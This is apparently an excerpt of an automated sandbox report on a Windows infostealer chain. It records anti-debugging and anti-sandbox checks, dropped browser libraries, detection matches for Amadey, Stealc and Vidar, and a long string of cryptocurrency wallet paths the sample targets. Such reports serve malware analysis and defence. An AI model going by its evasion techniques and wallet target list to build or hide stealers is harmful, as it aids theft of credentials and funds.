Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 24A7A0 second address: 24A7E2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF3F8BEF696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FF3F8BEF698h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 push 00000000h 0x00000028 mov dword ptr [ebp+122D1F0Fh], ebx 0x0000002e push 00000000h 0x00000030 clc 0x00000031 xchg eax, esi 0x00000032 js 00007FF3F8BEF6A0h 0x00000038 pushad 0x00000039 push esi 0x0000003a pop esi 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 24A7E2 second address: 24A7F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 jbe 00007FF3F8FBCCA6h 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 24A7F2 second address: 24A7FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FF3F8BEF696h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 24B6B5 second address: 24B747 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FF3F8FBCCAFh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jp 00007FF3F8FBCCAEh 0x00000014 nop 0x00000015 mov edi, dword ptr [ebp+122D1E2Dh] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007FF3F8FBCCA8h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 xor di, 3A95h 0x0000003c xor dword ptr [ebp+124577BFh], ecx 0x00000042 push 00000000h 0x00000044 jmp 00007FF3F8FBCCB6h 0x00000049 xchg eax, esi 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007FF3F8FBCCB8h 0x00000052 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 24B747 second address: 24B765 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 24C6C6 second address: 24C6D6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF3F8FBCCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 24E99F second address: 24E9A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 24E9A3 second address: 24E9AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 24E9AF second address: 24E9B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 24F9D6 second address: 24F9DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 24FA93 second address: 24FABF instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF3F8BEF696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007FF3F8BEF6A3h 0x00000013 jnl 00007FF3F8BEF696h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 24FABF second address: 24FAC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 23DE58 second address: 23DE5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 1FBAD6 second address: 1FBADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 1FBADA second address: 1FBAF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 251FCD second address: 251FD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 23FED1 second address: 23FED7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 23FED7 second address: 23FEDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2409D2 second address: 2409DC instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF3F8BEF696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2409DC second address: 2409E1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	RDTSC instruction interceptor: First address: 2409E1 second address: 240A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF3F8BEF6A8h 0x0000000f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 119A16F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1198F59 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11AEE79 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FFFAC9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1227540 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Special instruction interceptor: First address: 2319BC instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Special instruction interceptor: First address: 2436E4 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Special instruction interceptor: First address: 2C5DCA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7419BC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7536E4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7D5DCA instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsJJJJKEHCAK.exe

Code function: 20_2_048E0B39 rdtsc

20_2_048E0B39

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.3 %

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\DocumentsJJJJKEHCAK.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C66C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C66C930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000016.00000002.2506544167.000000000071D000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: DocumentsJJJJKEHCAK.exe, 00000014.00000003.2406214177.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Web Data.8.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2398221193.0000000001A12000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2398221193.00000000019D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DocumentsJJJJKEHCAK.exe, 00000014.00000003.2406214177.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}QQ
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.8.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Web Data.8.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.8.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.8.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.8.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Web Data.8.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.8.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2398221193.000000000198E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Web Data.8.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2397180147.000000000117B000.00000040.00000001.01000000.00000003.sdmp, DocumentsJJJJKEHCAK.exe, 00000014.00000002.2481368721.000000000020D000.00000040.00000001.01000000.0000000B.sdmp, DocumentsJJJJKEHCAK.exe, 00000014.00000001.2384538441.000000000020D000.00000080.00000001.01000000.0000000B.sdmp, skotes.exe, 00000015.00000002.2477400500.000000000071D000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000002.2506544167.000000000071D000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.8.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.8.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsJJJJKEHCAK.exe

Code function: 20_2_048E0B39 rdtsc

20_2_048E0B39

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Code function: 20_2_0004652B mov eax, dword ptr fs:[00000030h]	20_2_0004652B
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Code function: 20_2_0004A302 mov eax, dword ptr fs:[00000030h]	20_2_0004A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0055A302 mov eax, dword ptr fs:[00000030h]	21_2_0055A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0055652B mov eax, dword ptr fs:[00000030h]	21_2_0055652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0055A302 mov eax, dword ptr fs:[00000030h]	22_2_0055A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0055652B mov eax, dword ptr fs:[00000030h]	22_2_0055652B

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C68B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C68B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C83AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C83AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6196, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJJJJKEHCAK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJJJJKEHCAK.exe "C:\Users\user\DocumentsJJJJKEHCAK.exe"
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C884760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C884760

Source: file.exe, file.exe, 00000000.00000002.2397180147.000000000117B000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: aProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B341 cpuid

0_2_6C68B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C6535A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 20.2.DocumentsJJJJKEHCAK.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.skotes.exe.520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.2480719051.0000000000011000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2506150345.0000000000521000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2477091060.0000000000521000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2398221193.000000000198E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2396751118.0000000000DB1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2055599639.00000000053F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6196, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6196, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2396751118.0000000000E34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
